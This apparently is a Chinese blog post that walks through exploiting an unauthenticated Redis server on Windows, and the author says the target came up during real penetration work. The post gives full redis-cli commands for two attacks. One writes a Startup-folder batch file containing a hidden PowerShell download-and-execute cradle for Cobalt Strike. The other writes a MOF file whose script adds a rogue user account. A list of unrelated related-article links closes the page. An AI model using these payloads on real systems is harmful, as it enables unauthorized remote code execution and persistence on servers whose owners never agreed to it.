Redis奇怪的姿势
Redis奇怪的姿势
写在前面
之前渗透 摸鱼 时和小伙伴发现了一个redis,存在未授权,是win服务器但是没有路径,度娘了之后发现了这个姿势,特此学习记录一下。
写入启动项
环境搭建
windows 07
redis 2.X
VPS + CS teamserver
kali CSclient
win7 启动redis
redis-server redis.conf
启动CS teamserver
nohup ./teamserver ip password
漏洞复现
step0
目前已知
windows服务器 + redis未授权 + 无web路径
因此写入启动项直接cs上线
tips:
windows开机启动目录一般为
`C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/`
由于Start Menu有空格,需要双引号将路径包含。
目标
cs上线这台运行redis的win7机器
step1
添加一个Listener监听器
选择 攻击-->钓鱼攻击-->Scripted Web Delivery(S),选择刚才添加的Listener
点击 开始 生成powershell的shellcode
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://ip:88/a'))"
将shellcode复制出来备用
step2
后面过程类似于向目标机器中利用redis写webshell
这里有几个小坑点,一个是注意服务器的管理员名称,比如我的就是admin,其次是设置x的value时,因为redis的语法 使用
set key "value"时需要双引号包裹value的值,而如果value内的payload也需要双引号时需要在value内的双引号前加反斜杠
\转义双引号。
192.168.124.158:6379> config set dir "C:\\Users\\admin\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\PrograOK\\startup\\" 192.168.124.158:6379> config set dbfilename test.bat OK 192.168.124.158:6379> set x "\r\n\r\n powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://ip:88/a'))\"\r\n\r\n" OK 192.168.124.158:6379> save OK 192.168.124.158:6379>
可以看到目标机器成功写入
后续只需重启机器,此目标服务器就上线了。
总结
虽然需要重启算是比较鸡肋的一个点,但是在不知道路径的情况下提供了一个新的思路。
需要的前提条件有:
redis未授权/弱口令
windows服务器(参考文章为win2003,我自己用的win7都可上线)
有启动项目录相应写入权限
重启服务器(可结合简单钓鱼等)
写入MOF
也是根据作者的文章,在无法重启时该怎么办。作者提供了一个思路,写入mof中,因为mof会每隔5s去监控进程的创建和死亡,功能已经类似于计划任务。在mof中有一段是vbs脚本,可以利用此脚本去添加管理员用户。
MOF目录,此目录下的mof文件每隔5s执行一次
c:/windows/system32/wbem/mof/
step0
准备MOF文件内容
#pragma namespace("\\.\root\subscription") instance of __EventFilter as $EventFilter { EventNamespace = "Root\Cimv2"; Name = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa "Win32_LocalTime" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject("WScript.Shell")nWSH.run("net.exe user 3shine admin /add")"; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
step1
先执行如下命令
(echo -e "\n\n"; cat mof.txt; echo -e "\n\n") > foo.txt
redis命令行执行
config set dir "c:\\windows\\system32\\wbem\\mof" config set dbfilename 123.mof get x //确认下是否将mof文件内容写入 save
之后就可以看到添加了一个新的3shine用户。
参考文章
- BZOJ-1968 COMMON 约数研究 数论+奇怪的姿势
- [论序列自动机的奇怪姿势]
- Redis实现分布式锁的正确姿势
- Spring+SpringMVC+MyBatis+easyUI整合进阶篇(十四)Redis缓存正确的使用姿势
- redis4.0之Lua脚本新姿势
- 解锁redis锁的正确姿势
- Spring Data Redis 正确使用姿势
- 【BZOJ1079】[SCOI2008]着色方案【计数DP】【奇怪的姿势】
- redis4.0之Lua脚本新姿势
- 【分布式缓存系列】集群环境下Redis分布式锁的正确姿势
- redis保护模式带来的奇怪问题
- Node.js中使用redis数据库的正确姿势
- Redis全方位详解--数据类型使用场景和redis分布式锁的正确姿势
- 如约而至,Java 10 正式发布! Spring+SpringMVC+MyBatis+easyUI整合进阶篇(十四)Redis缓存正确的使用姿势 努力的孩子运气不会太差,跌宕的人生定当更加精彩 优先队列详解(转载)
- Redis未授权访问漏洞的利用姿势
- yii2 redis 并发锁正确姿势
- 【分布式缓存系列】Redis实现分布式锁的正确姿势
- COGS 2479 奇怪的姿势卡♂过去 (bitset+折半)
- 使用Redis实现分布式锁的正确姿势
- COGS 2479 奇怪的姿势卡♂过去 (bitset+折半)